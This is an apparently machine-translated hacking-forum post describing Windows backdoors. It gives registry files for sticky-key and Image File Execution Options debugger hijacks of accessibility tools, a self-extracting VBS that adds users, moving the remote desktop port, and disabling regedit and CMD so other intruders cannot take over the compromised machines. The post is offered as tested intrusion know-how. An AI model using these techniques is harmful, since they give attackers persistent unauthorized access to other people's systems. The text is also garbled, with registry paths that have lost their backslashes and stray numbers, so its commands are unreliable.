Detected record of the registry and Group Policy Backdoor

Recorded after the test. If you are interested, you may be able to get the backdoor placement skills.
Quietly import regedit/s *. reg
Method 1: cancel the sticky key REG to import sethc. reg
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERControl PanelAccessibilityStickyKeys]
"Flags" = "506"
[HKEY_USERS.DEFAULTControl PanelAccessibilityStickyKeys]
"Flags" = "506"
After the registry is imported, it will take effect after cancellation. That is, change the original value 510 to 506.
Method 2: Choose "start"> "Control Panel"> "auxiliary functions"> "keyboard"> "Sticky key"> "Settings"> "uncheck" use shortcut keys ".
High contrast: ALT + SHIFT + print screen on the left.
Mouse key: ALT + SHIFT + num lock on the left
You can still use sethc.exe as a backdoor. We can't always shift five times like other people. In fact, we call the same thing.
C: WINDOWSsystem32utilman.exe (auxiliary tool manager) WIN + U call
C: WINDOWSsystem32osk.exe (screen keyboard)
C: WINDOWSsystem32magnify.exe (magnifiers) Note: these are all usable.
Image Method
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsosk.exe]
"Debugger" = "c: WINDOWS \ System32 \ wbemysjy.exe"
Sethc.exe works better with the image method
Based on the above, we can make the following backdoors:
Add VBS to your script (http://bbs.77169.com/mainframe.php? Tid%225157&fid%161then, produced a self-decompressed ysjy.exe with a password.
Advantages:
1. When running, VBS carries the parameter suffix // B to prevent unnecessary dialog windows when users are added repeatedly.
2. Pay attention to automatic deletion after use, which can be achieved by self-extracting. Haha, script encryption is always reversible.
3366133 is used by him to replace sethc.exe with any backdoors without affecting the use of his own backdoors. Haha, my friend once met me. I can't change it.
4. It can be disabled by cmd to prevent others from using cmd.
5. It is always safe to bring a password, and it is not successful to crack and decompress the password using the rar tool. Test.
6. shift 5 times cannot be called out, which is different. For details about the call method, see
The following code protects your own results .. In fact, I seldom protect my achievements.
3380 remote port modification 3380.reg
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESystemCurrentControlSetControlTerminal ServerWdsRepwdTdsTcp]
"PortNumber" = dword: 00000d34
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsdpwdTdscp]
"PortNumber" = dword: 00000d34
It is necessary to change the remote port. Many people prefer to try before intrusion. Check whether shift backdoor exists in 3389.
Disable and restore the Registry
Disable
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
"DisableRegistryTools" = dword: 00000001 // registry restore import does not work.
Restore
Gpedit. msc-user configuration --> management template --> one on the right of the system-Disable the registry editing tool
Right click --- New -- shortcut ----
In the displayed window, enter the following example in the "Enter the position of the project" field to achieve the coherence function.
%WinDir%System32eg.exe add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem/v DisableRegistryTools/t
REG_DWORD/d 0/f (unlock the Registry)
Disabling the Registry improves the security of bots. The above code has been tested. Accessible on the Internet
Disable CMD
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsSystem]
"DisableCMD" = dword: 00000001 // 00000000 restore
Right click --- New -- shortcut ----
In the pop-up window, enter the following example in the "Enter the project location" field to achieve the coherence function. In fact, you can modify the Registry without having to add parameters to the Registry in rar.
%WinDir%System32eg.exe add HKCUSoftwarePoliciesMicrosoftWindowsSystem DisableCMD/t REG_DWORD/d 0/f
Disabling CMD is much more difficult for other intruders.
You can combine it and use it. By the way, no ready-made tools are provided here. I cannot help anyone who is too lazy to do it by myself. You are the best teacher.